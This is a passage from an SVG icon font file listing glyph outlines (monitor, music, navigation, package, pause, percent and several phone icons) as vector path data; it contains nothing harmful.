2.55957 41.1733 -21.568q13.594 -24.1276 -2.85867 -46.4 q-20.8318 -28.1474 -35.575 -72.851q-14.7432 -44.7036 -14.7432 -79.7211q0 -106.178 75.1455 -181.324q75.1455 -75.1455 181.324 -75.1455q35.0107 0 79.707 14.7379t72.8406 35.5622q22.2719 16.4785 46.4 2.87466t21.5676 -41.1898z" /> <glyph glyph-name="monitor" unicode="" d="M554.667 128v-85.3333h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-341.333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h128v85.3333h-299.093q-52.8155 0.140747 -90.1947 37.6196 q-37.3791 37.4789 -37.3791 90.2946l0.000457764 0.341812v426.155l-6.48499e-05 0.129211q0 52.8159 37.379 90.357q37.379 37.5412 90.1944 37.7698h683.52q52.8156 -0.140808 90.1947 -37.6197q37.3791 -37.4788 37.3791 -90.2945l-0.000488281 -0.341858v-426.155 l6.10352e-05 -0.129181q0 -52.8158 -37.379 -90.357t-90.1943 -37.7698zM128 682.411v-426.155l-0.00138092 -0.342667q0 -17.4885 12.3767 -29.9644q12.3767 -12.4759 29.8647 -12.6156h683.52q17.3182 0 29.7791 12.6167q12.4609 12.6167 12.4609 30.306v426.155 l0.00140381 0.342712q0 17.4885 -12.3768 29.9644q-12.3767 12.4758 -29.8646 12.6155h-683.52q-17.3182 0 -29.7791 -12.6166q-12.4609 -12.6167 -12.4609 -30.3061z" /> <glyph glyph-name="more-vertical" unicode="" d="M512 256q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5zM512 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653 t12.5013 -30.1654q12.5013 -12.5013 30.1653 -12.5012zM512 597.333q-52.992 0 -90.496 37.504t-37.504 90.496t37.504 90.496t90.496 37.504t90.496 -37.504q37.504 -37.504 37.504 -90.496t-37.504 -90.496t-90.496 -37.504zM512 682.667h0.00653076 q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-0.00653076q-17.6613 -0.00268555 -30.1607 -12.5041q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4995 -12.5013 30.1607 -12.5038zM512 -85.3333q-52.992 0 -90.496 37.504 q-37.504 37.504 -37.504 90.496t37.504 90.496q37.504 37.504 90.496 37.504q52.9919 0 90.496 -37.504t37.504 -90.496q0 -52.992 -37.504 -90.496t-90.496 -37.504zM512 -2.87646e-06l0.00653076 -5e-07q17.664 0 30.1653 12.5013t12.5013 30.1653 q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-0.00653076q-17.6613 -0.00270844 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504v1.87646e-06v3.16639e-06z" /> <glyph glyph-name="more-horizontal" unicode="" d="M512 256q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5zM512 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653 t12.5013 -30.1654q12.5013 -12.5013 30.1653 -12.5012zM853.333 256q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496t37.504 90.496t90.496 37.504t90.496 -37.504t37.504 -90.496t-37.504 -90.496t-90.496 -37.504zM853.333 341.333q17.664 0 30.1653 12.5013 t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM170.667 256q-52.992 0 -90.496 37.504t-37.504 90.496t37.504 90.496t90.496 37.504t90.496 -37.504q37.504 -37.504 37.504 -90.496 t-37.504 -90.496t-90.496 -37.504zM170.667 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="move" unicode="" d="M243.499 481.835q11.977 12.4008 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2403 0 -29.641 -11.977l-128 -128q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l128 -128q12.5806 -13.0257 30.6897 -13.0257 q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1091 -13.0257 30.6896l-97.8347 97.8347zM609.835 652.501q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.6411l-128 128q-12.496 12.4922 -30.1653 12.4922 t-30.1653 -12.4922l-128 -128q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l97.8347 97.8347zM414.165 115.499q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653 q0 -18.109 13.0257 -30.6896l128 -128q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l128 128q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5014 -30.1653 12.5014q-17.2403 0 -29.6411 -11.977l-97.8347 -97.8347z M780.501 286.165q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l128 128q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-128 128q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013 t-12.5013 -30.1653q0 -17.2403 11.977 -29.641l97.8347 -97.8346zM85.3333 341.333h853.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-853.333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013zM469.333 810.667v-853.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v853.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013 q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="music" unicode="" d="M426.667 646.528v-561.195q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-85.3333q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496q0 52.992 37.504 90.496t90.496 37.504h128v469.333q0.00686646 14.9628 10.458 27.2891 q10.4511 12.3264 25.2113 14.7802l512 85.3333q3.47449 0.577698 6.99731 0.577698q17.6559 0 30.1572 -12.4955q12.5013 -12.4955 12.5095 -30.1515v-597.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-85.3333q-52.9919 0 -90.496 37.504 q-37.5041 37.504 -37.504 90.496t37.504 90.496q37.504 37.504 90.496 37.504h128v418.987zM341.333 128h-128q-17.6613 -0.00270081 -30.1607 -12.504t-12.4994 -30.1626t12.4994 -30.1626t30.1607 -12.504h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653z M853.333 213.333h-128q-17.6613 -0.00270081 -30.1607 -12.504q-12.4995 -12.5014 -12.4995 -30.1626t12.4995 -30.1626q12.4995 -12.5013 30.1607 -12.504h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653z" /> <glyph glyph-name="navigation-" unicode="" d="M293.845 52.48l196.992 112.555q9.83551 5.61824 21.1627 5.61824q11.327 0 21.1627 -5.61824l196.992 -112.555l-218.155 592.085zM234.539 -79.7013q-25.9527 -14.8164 -48.7576 4.47484q-22.8048 19.2913 -12.4691 47.3225l298.667 810.667 q10.272 27.904 40.0213 27.904q29.7494 0 40.0214 -27.904l298.667 -810.667q10.3347 -28.0285 -12.4631 -47.3218q-22.7978 -19.2934 -48.7209 -4.47551l-277.504 158.549l-277.504 -158.549z" /> <glyph glyph-name="navigation" unicode="" d="M479.701 340.053q10.269 -2.57275 19.3575 -11.6612t11.6612 -19.3575l56.4053 -225.707l281.856 594.987l-594.987 -281.856zM117.632 342.613q-29.1278 7.29794 -32.0907 37.1947t24.1973 42.7627l810.667 384q27.1956 12.8619 48.4468 -8.3988 q21.2512 -21.2608 8.38513 -48.4332l-384 -810.667q-12.8659 -27.1602 -42.7626 -24.1973t-37.1947 32.0907l-79.1467 316.501z" /> <glyph glyph-name="octagon" unicode="" d="M128 542.976v-317.952l225.024 -225.024h317.952l225.024 225.024v317.952l-225.024 225.024h-317.952zM335.36 853.333h353.28q17.6716 -0.00372314 30.1653 -12.5013l250.027 -250.027q12.4975 -12.4938 12.5013 -30.1653v-353.28 q-0.00390625 -17.6716 -12.5013 -30.1653l-250.027 -250.027q-12.4938 -12.4976 -30.1653 -12.5013h-353.28q-17.6716 0.00377655 -30.1653 12.5013l-250.027 250.027q-12.4975 12.4938 -12.5013 30.1653v353.28q0.00377274 17.6716 12.5013 30.1653l250.027 250.027 q12.4937 12.4975 30.1653 12.5013z" /> <glyph glyph-name="package" unicode="" d="M568.96 872.363l341.333 -170.667q29.4041 -14.6111 50.2188 -48.1898q20.8147 -33.5787 20.8212 -66.4129v-406.613q-0.0174561 -32.7947 -20.8072 -66.3483q-20.7897 -33.5536 -50.1475 -48.1691l-341.333 -170.667q-27.0328 -13.521 -57.2587 -13.521 q-30.2257 0 -57.2587 13.521l-341.461 170.709q-29.1463 14.6639 -49.7741 48.1331t-20.6277 66.0965q0 0.336395 0.0017662 0.671646v406.187q0.0174561 32.7947 20.8072 66.3483q20.7897 33.5536 50.1475 48.169l341.419 170.752q26.9103 13.3721 56.96 13.3721 t56.9594 -13.3716zM843.051 639.872l-312.107 156.075q-8.94257 4.43054 -18.9227 4.43054t-18.9227 -4.43054l-98.816 -49.3226l331.051 -165.589l117.717 58.88zM896 570.965l-151.125 -75.5627q-0.423889 -0.217987 -0.853333 -0.426666l-189.355 -94.6773v-416.811 l317.653 158.848q9.7868 4.86314 16.7251 16.0393q6.93829 11.1762 6.9549 22.1047zM469.333 -16.7253v417.024l-341.333 170.667v-390.357q-0.209038 -26.4787 23.3387 -38.3573zM298.88 698.837l-117.931 -58.9227l331.051 -165.547l117.931 58.9653l-331.051 165.547z " /> <glyph glyph-name="pause-circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM469.333 256v256 q-0.00268555 17.6613 -12.504 30.1607t-30.1626 12.4995t-30.1626 -12.4994t-12.5041 -30.1608v-256q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994q12.5014 12.4994 12.5041 30.1607zM640 256v256 q-0.00268555 17.6613 -12.504 30.1608q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1625 -12.4994q-12.5013 -12.4995 -12.5041 -30.1608v-256q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607z" /> <glyph glyph-name="pause" unicode="" d="M298.667 682.667v-597.333h85.3333v597.333h-85.3333zM256 768h170.667q17.664 0 30.1653 -12.5013q12.5013 -12.5014 12.5013 -30.1653v-682.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013 q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1653 12.5013zM640 682.667v-597.333h85.3333v597.333h-85.3333zM597.333 768h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-682.667q0 -17.664 -12.5014 -30.1653 q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1654 12.5013z" /> <glyph glyph-name="percent" unicode="" d="M780.501 712.832l-597.333 -597.333q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l597.333 597.333q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013 q-18.1091 0 -30.6896 -13.0255zM277.333 469.333q-61.824 0 -105.579 43.7547q-43.7547 43.7547 -43.7547 105.579t43.7547 105.579q43.7547 43.7546 105.579 43.7546q61.8243 0 105.579 -43.7546q43.7547 -43.7547 43.7547 -105.579q0 -61.824 -43.7547 -105.579 q-43.7547 -43.7547 -105.579 -43.7547zM277.333 554.667q26.496 0 45.248 18.752q18.752 18.752 18.752 45.248t-18.752 45.248t-45.248 18.752q-26.496 0 -45.248 -18.752t-18.752 -45.248t18.752 -45.248t45.248 -18.752zM746.667 0q-61.824 0 -105.579 43.7547 t-43.7546 105.579q0 61.824 43.7546 105.579q43.7547 43.7547 105.579 43.7547t105.579 -43.7547q43.7546 -43.7547 43.7546 -105.579q0 -61.824 -43.7546 -105.579q-43.7547 -43.7547 -105.579 -43.7547v4.10767e-06zM746.667 85.3333q26.496 0 45.248 18.752 t18.752 45.248t-18.752 45.248t-45.248 18.752t-45.248 -18.752t-18.752 -45.248t18.752 -45.248t45.248 -18.752z" /> <glyph glyph-name="phone-call" unicode="" d="M981.333 3.584l0.000976562 -0.505953q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504q-6.15881 0 -12.289 0.591286q-86.762 9.4182 -199.999 49.6725q-113.237 40.2543 -186.476 87.7142q-68.0648 43.239 -146.861 121.997 q-78.7959 78.7584 -122.067 146.803q-47.7718 73.7674 -88.1136 187.83q-40.3418 114.062 -49.5717 201.461q-0.519455 5.74829 -0.519455 11.52q0 52.9598 37.4812 90.4637q37.4812 37.504 90.4409 37.5363h127.573l1.16858 0.00531006q46.1888 0 83.3629 -32.38 q37.1741 -32.3799 43.5112 -78.132q7.5007 -56.7361 27.52 -110.421q8.18268 -21.7803 8.18268 -45.0468q0 -21.8404 -10.8859 -48.2709t-26.2674 -41.9357l-30.592 -30.5493q31.5351 -49.472 88.8662 -106.803q57.3312 -57.3311 106.803 -88.8662l30.72 30.7627 q15.4855 15.3199 41.8619 26.1623q26.3763 10.8423 48.1594 10.8423q23.2285 0 44.976 -8.16193q53.7759 -20.0695 110.933 -27.6053q45.5836 -6.43591 77.8444 -43.5716q32.2608 -37.1357 32.2608 -83.1714q0 -1.26628 -0.0251465 -2.53709v-127.36v-0.0426638z M896 131.413q0.41333 16.9138 -9.9856 29.4947t-26.2811 14.836q-66.5118 8.76086 -129.365 32.2133q-7.25397 2.73131 -15.0048 2.73131q-17.3793 0 -29.7952 -12.1606l-54.1866 -54.1867q-12.4974 -12.5009 -30.1741 -12.5009q-11.2954 0 -21.1113 5.58893 q-71.7882 40.8199 -151.484 120.516t-120.516 151.484q-5.57346 9.80545 -5.57346 21.0841q0 17.6637 12.4854 30.1586l54.016 54.016q12.3209 12.4658 12.3209 29.9929q0 7.8056 -2.76352 15.1058q-23.3669 62.6058 -32.128 128.853q-2.18622 15.1937 -14.5973 25.9467 q-12.411 10.753 -27.7611 10.753l-0.734955 -0.00634766h-128q-17.6418 -0.0222168 -30.1274 -12.5235t-12.4856 -30.1431q0 -1.58075 0.116989 -3.15735q8.39217 -78.9407 44.8961 -181.952q36.5039 -103.011 79.6906 -169.622q39.1206 -61.5436 110.378 -132.764 q71.2576 -71.2201 132.822 -110.308q66.0978 -42.8841 168.309 -79.3005t180.534 -44.9875q1.91675 -0.173275 3.84137 -0.173275q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653l-0.00140381 0.343933zM633.984 598.144q-13.7001 3.15479 -23.3961 15.3373 t-9.69604 26.2411q0 17.664 12.5013 30.1653t30.1653 12.5013q3.38306 0 6.72412 -0.533203q70.0587 -13.6688 129.315 -72.925t72.925 -129.315q1.08813 -4.72552 1.08813 -9.57449q0 -17.664 -12.5013 -30.1654q-12.5013 -12.5013 -30.1653 -12.5013 q-15.0685 0 -27.4136 10.5312q-12.345 10.5312 -14.7198 25.4113q-9.11261 46.7057 -48.6168 86.21q-39.5042 39.5043 -86.2099 48.617zM637.397 768.256q-15.7144 1.74689 -26.8358 14.1732q-11.1215 12.4263 -11.1215 28.2374q0 17.6662 12.5029 30.1691t30.1691 12.5029 q2.36505 0 4.71466 -0.26123q91.9946 -10.2134 175.152 -64.2347q83.1578 -54.0214 137.292 -137.106q54.1345 -83.0843 64.4727 -175.065q0.268311 -2.38174 0.268311 -4.77866q0 -17.6692 -12.5049 -30.1741t-30.1741 -12.5049q-15.79 0 -28.2164 11.1048 q-12.4263 11.1048 -14.1943 26.7956q-12.6029 112.197 -100.937 200.431q-88.3344 88.2344 -200.545 100.71z" /> <glyph glyph-name="phone-forwarded" unicode="" d="M780.479 499.51q-13.0253 -12.5802 -13.0253 -30.6887q0 -17.6635 12.501 -30.1645t30.1645 -12.501q18.1085 0 30.6887 13.0252l170.662 170.662q12.4919 12.4957 12.4919 30.1644q0 17.6688 -12.4919 30.1645l-170.662 170.662q-12.4005 11.9767 -29.6402 11.9767 q-17.6635 0 -30.1644 -12.501t-12.501 -30.1644q0 -17.2398 11.9767 -29.6402l140.497 -140.497zM639.981 597.342h341.323q17.6635 0 30.1644 12.501t12.501 30.1644t-12.501 30.1644q-12.5009 12.501 -30.1644 12.501h-341.323q-17.6635 0 -30.1644 -12.501 t-12.501 -30.1644q0 -17.6635 12.501 -30.1645q12.5009 -12.501 30.1644 -12.5009zM895.547 129.174q0.0419312 0.950302 0.0419312 1.89935q0 15.3121 -10.7131 27.7816t-25.8504 14.7764q-66.8124 8.80495 -129.959 32.3404q-7.3114 2.75952 -15.1261 2.75952 q-17.4814 0 -29.9713 -12.2312l-54.4411 -54.3557q-10.234 -10.2339 -24.5859 -12.165t-26.9539 5.21051q-72.1184 40.9277 -152.212 120.884q-80.0937 79.9562 -121.145 152.004q-5.61423 9.84479 -5.61423 21.1779q0 17.7471 12.5687 30.2766l54.2704 54.1851 q19.3402 19.5504 9.6424 45.2253q-23.5346 62.9727 -32.2977 129.276q-2.27481 16.0198 -14.5768 26.4999t-28.7286 10.3204h-128.636q-17.7267 -0.0426025 -30.2724 -12.6186q-12.5457 -12.5759 -12.5457 -30.3027q0 -1.53796 0.110077 -3.07208 q8.43939 -79.2051 45.1172 -182.538t80.0631 -170.134q39.3431 -61.7797 110.974 -133.248q71.6304 -71.4679 133.499 -110.671q66.4481 -43.0234 169.168 -79.5512t181.413 -45.1171q1.89514 -0.168346 3.79773 -0.168346q17.7695 0 30.3455 12.576 q12.576 12.576 12.576 30.3454l-0.000549316 0.21101v128.423zM981.305 0.922106l0.000915527 -0.476757q0 -23.3956 -12.2137 -51.1331q-12.2137 -27.7375 -29.4714 -43.534q-15.3181 -13.9823 -40.8375 -23.878q-25.5193 -9.89572 -46.2593 -9.89572 q-6.12805 0 -12.2283 0.580025q-87.1865 9.43269 -201.008 49.8108t-187.461 87.9985q-68.3899 43.3679 -147.584 122.399q-79.1936 79.0311 -122.702 147.332q-48.0018 73.9869 -88.5424 188.421t-49.8215 202.138q-0.520092 5.75861 -0.520092 11.5403 q0 20.6276 9.85313 45.9985q9.85312 25.3709 23.7753 40.5916q15.8372 17.3134 43.6518 29.5768q27.8146 12.2634 51.2788 12.2779h128.295l1.241 0.00598145q46.3391 0 83.6785 -32.4793q37.3393 -32.4792 43.7595 -78.3715q7.59998 -57.1935 27.6472 -110.802 q13.2666 -35.1799 5.38651 -71.9979t-34.4843 -63.6781l-30.7618 -30.7191q31.7194 -49.6405 89.3489 -107.145t107.339 -89.116l30.8898 30.8471q15.5699 15.3659 42.0711 26.2408t48.3766 10.8749q23.3348 0 45.1857 -8.1886q53.8301 -20.0582 111.485 -27.6898 q45.8113 -6.42662 78.2334 -43.7144t32.4221 -83.5477q0 -1.24219 -0.0239868 -2.48343v-127.783v0.000256777z" /> <glyph glyph-name="phone-missed" unicode="" d="M951.14 840.834l-255.993 -255.993q-13.0253 -12.5802 -13.0253 -30.6887q0 -17.6635 12.501 -30.1645q12.501 -12.5009 30.1645 -12.5009q18.1085 0 30.6887 13.0252l255.993 255.993q13.0251 12.5801 13.0251 30.6887q0 17.6635 -12.501 30.1644t-30.1644 12.501 q-18.1085 0 -30.6886 -13.0252zM695.148 780.505l255.993 -255.993q12.4005 -11.9767 29.6402 -11.9767q17.6635 0 30.1644 12.501t12.501 30.1644q0 17.2398 -11.9767 29.6402l-255.993 255.993q-12.4004 11.9767 -29.6402 11.9767q-17.6635 0 -30.1644 -12.501 t-12.501 -30.1644q0 -17.2398 11.9767 -29.6402zM895.547 129.174q0.0419312 0.950302 0.0419312 1.89935q0 15.3121 -10.7131 27.7816t-25.8504 14.7764q-66.8124 8.80495 -129.959 32.3404q-7.3114 2.75952 -15.1261 2.75952q-17.4814 0 -29.9713 -12.2312 l-54.4411 -54.3557q-10.234 -10.2339 -24.5859 -12.165t-26.9539 5.21051q-72.1184 40.9277 -152.212 120.884q-80.0937 79.9562 -121.145 152.004q-5.61423 9.84479 -5.61423 21.1779q0 17.7471 12.5687 30.2766l54.2704 54.1851q19.3402 19.5504 9.6424 45.2253 q-23.5346 62.9727 -32.2977 129.276q-2.27481 16.0198 -14.5768 26.4999t-28.7286 10.3204h-128.636q-17.7267 -0.0426025 -30.2724 -12.6186q-12.5457 -12.5759 -12.5457 -30.3027q0 -1.53796 0.110077 -3.07208q8.43939 -79.2051 45.1172 -182.538t80.0631 -170.134 q39.3431 -61.7797 110.974 -133.248q71.6304 -71.4679 133.499 -110.671q66.4481 -43.0234 169.168 -79.5512t181.413 -45.1171q1.89514 -0.168346 3.79773 -0.168346q17.7695 0 30.3455 12.576q12.576 12.576 12.576 30.3454l-0.000549316 0.21101v128.423z M981.305 0.922106l0.000915527 -0.476757q0 -23.3956 -12.2137 -51.1331q-12.2137 -27.7375 -29.4714 -43.534q-15.3181 -13.9823 -40.8375 -23.878q-25.5193 -9.89572 -46.2593 -9.89572q-6.12805 0 -12.2283 0.580025q-87.1865 9.43269 -201.008 49.8108t-187.461 87.9985 q-68.3899 43.3679 -147.584 122.399q-79.1936 79.0311 -122.702 147.332q-48.0018 73.9869 -88.5424 188.421t-49.8215 202.138q-0.520092 5.75861 -0.520092 11.5403q0 20.6276 9.85313 45.9985q9.85312 25.3709 23.7753 40.5916q15.8372 17.3134 43.6518 29.5768 q27.8146 12.2634 51.2788 12.2779h128.295l1.241 0.00598145q46.3391 0 83.6785 -32.4793q37.3393 -32.4792 43.7595 -78.3715q7.59998 -57.1935 27.6472 -110.802q13.2666 -35.1799 5.38651 -71.9979t-34.4843 -63.6781l-30.7618 -30.7191 q31.7194 -49.6405 89.3489 -107.145t107.339 -89.116l30.8898 30.8471q15.5699 15.3659 42.0711 26.2408t48.3766 10.8749q23.3348 0 45.1857 -8.1886q53.8301 -20.0582 111.485 -27.6898q45.8113 -6.42662 78.2334 -43.7144t32.4221 -83.5477 q0 -1.24219 -0.0239868 -2.48343v-127.783v0.000256777z" /> <glyph glyph-name="phone-off" unicode="" d="M485.596 358.023q-12.5742 13.0189 -30.6739 13.0189q-17.6549 0 -30.1498 -12.4949t-12.4949 -30.1498q0 -18.0997 13.0189 -30.6739q28.6853 -28.7058 73.9543 -63.2168q45.269 -34.511 80.5477 -54.5681q9.80035 -5.5706 21.0733 -5.5706q17.6546 0 30.1431 12.4791 l54.1589 54.1589q12.4061 12.1352 29.7603 12.1352q7.78143 0 15.0594 -2.75339q62.9324 -23.4391 129.256 -32.1542q15.0259 -2.23634 25.66 -14.5704q10.6342 -12.3341 10.6342 -27.5254l-0.00354004 -0.548965v-128.318l0.000732422 -0.250465 q0 -17.6903 -12.5199 -30.2102t-30.2102 -12.5199q-1.88043 0 -3.75348 0.165175q-78.2828 8.56672 -180.441 44.9644q-102.159 36.3977 -168.222 79.2598q-73.6212 46.7335 -135.056 108.232q-12.5741 13.019 -30.6739 13.019q-17.655 0 -30.1499 -12.4949 t-12.4949 -30.1499q0 -18.0998 13.019 -30.6739q28.1657 -28.195 71.9106 -63.2684t77.3889 -56.4356q73.201 -47.4355 186.38 -87.6692t199.896 -49.647q6.1272 -0.590988 12.2828 -0.590988q52.9648 0 90.4496 37.4848t37.4848 90.4496l-0.000976562 0.505726v127.764 l0.003479 0.944183q0 45.9985 -32.2379 83.0816q-32.2379 37.0832 -77.7891 43.4821q-57.006 7.49487 -110.876 27.5912q-21.7225 8.14615 -44.9221 8.14615q-21.7679 0 -48.1273 -10.8334q-26.3593 -10.8334 -41.8361 -26.1406l-30.7469 -30.7469 q-59.1358 37.6888 -108.702 87.294zM257.105 372.394q-42.9389 66.211 -79.3616 168.594q-36.4227 102.383 -44.948 180.837q-0.110672 1.53308 -0.110672 3.07043q0 17.6478 12.4899 30.1426t30.1377 12.5021h127.892q16.3447 0.159546 28.5864 -10.2944 q12.2417 -10.454 14.4848 -26.3801q8.68729 -66.0232 32.1115 -128.787q2.76212 -7.29633 2.76212 -15.098q0 -17.5182 -12.3145 -29.9776l-53.9883 -53.9883q-11.9709 -12.3944 -11.9709 -29.6259q0 -17.6549 12.4949 -30.1499t30.1499 -12.4949q17.2314 0 29.6259 11.9709 l54.1589 54.1589q15.3816 15.4986 26.2676 41.9213q10.886 26.4227 10.886 48.2585q0 23.2205 -8.15515 44.9615q-20.0546 53.6176 -27.5912 110.365q-6.3472 45.7106 -43.5005 78.0615q-37.1533 32.3508 -83.3026 32.3508l-1.13132 -0.00500488h-127.508 q-52.9326 -0.0321655 -90.3946 -37.517t-37.462 -90.4174q0 -5.76874 0.519192 -11.5142q9.39055 -86.9723 49.7117 -200.476q40.3211 -113.504 87.9031 -186.909q5.23988 -7.87357 15.6418 -13.4459q10.402 -5.57233 19.8597 -5.57233q17.655 0 30.1499 12.4949 q12.4949 12.4949 12.4949 30.1499q0 12.3386 -6.58841 22.7709zM950.68 882.98l-938.185 -938.185q-11.9709 -12.3944 -11.9709 -29.6259q0 -17.6549 12.4949 -30.1499q12.4949 -12.495 30.1499 -12.4949q17.2315 0 29.6259 11.9709l938.185 938.185 q13.0189 12.5742 13.0189 30.6738q0 17.6549 -12.4949 30.1498t-30.1498 12.4949q-18.0997 0 -30.6741 -13.0187z" /> <glyph glyph-name="phone-incoming" unicode="" d="M725.312 768.004q0 17.6635 -12.501 30.1644t-30.1644 12.501q-17.6635 0 -30.1645 -12.5009q-12.501 -12.501 -12.501 -30.1645v-255.993v0q0 -17.6635 12.501 -30.1645t30.1644 -12.501h255.993q17.6635 0 30.1644 12.501t12.501 30.1645q0 17.6635 -12.501 30.1644 t-30.1644 12.501h-213.327zM951.14 840.834l-298.658 -298.658q-13.0253 -12.5803 -13.0253 -30.6887q0 -17.6635 12.501 -30.1645t30.1645 -12.501q18.1085 0 30.6887 13.0252l298.658 298.658q13.0251 12.5801 13.0251 30.6887q0 17.6635 -12.501 30.1644t-30.1644 12.501 q-18.1085 0 -30.6886 -13.0251zM895.547 129.174q0.0419312 0.950302 0.0419312 1.89935q0 15.3121 -10.7131 27.7816t-25.8504 14.7764q-66.8124 8.80495 -129.959 32.3404q-7.3114 2.75952 -15.1261 2.75952q-17.4814 0 -29.9713 -12.2312l-54.4411 -54.3557 q-10.234 -10.2339 -24.5859 -12.165t-26.9539 5.21051q-72.1184 40.9277 -152.212 120.884q-80.0937 79.9562 -121.145 152.004q-5.61423 9.84479 -5.61423 21.1779q0 17.7471 12.5687 30.2766l54.2704 54.1851q19.3402 19.5504 9.6424 45.2253 q-23.5346 62.9727 -32.2977 129.276q-2.27481 16.0198 -14.5768 26.4999t-28.7286 10.3204h-128.636q-17.7267 -0.0426025 -30.2724 -12.6186q-12.5457 -12.5759 -12.5457 -30.3027q0 -1.53796 0.110077 -3.07208q8.43939 -79.2051 45.1172 -182.538t80.0631 -170.134 q39.3431 -61.7797 110.974 -133.248q71.6304 -71.4679 133.499 -110.671q66.4481 -43.0234 169.168 -79.5512t181.413 -45.1171q1.89514 -0.168346 3.79773 -0.168346q17.7695 0 30.3455 12.576q12.576 12.576 12.576 30.3454l-0.000549316 0.21101v128.423z M981.305 0.922106l0.000915527 -0.476757q0 -23.3956 -12.2137 -51.1331q-12.2137 -27.7375 -29.4714 -43.534q-15.3181 -13.9823 -40.8375 -23.878q-25.5193 -9.89572 -46.2593 -9.89572q-6.12805 0 -12.2283 0.580025q-87.1865 9.43269 -201.008 49.8108t-187.461 87.9985 q-68.3899 43.3679 -147.584 122.399q-79.1936 79.0311 -122.702 147.332q-48.0018 73.9869 -88.5424 188.421t-49.8215 202.138q-0.520092 5.75861 -0.520092 11.5403q0 20.6276 9.85313 45.9985q9.85312 25.3709 23.7753 40.5916q15.8372 17.3134 43.6518 29.5768 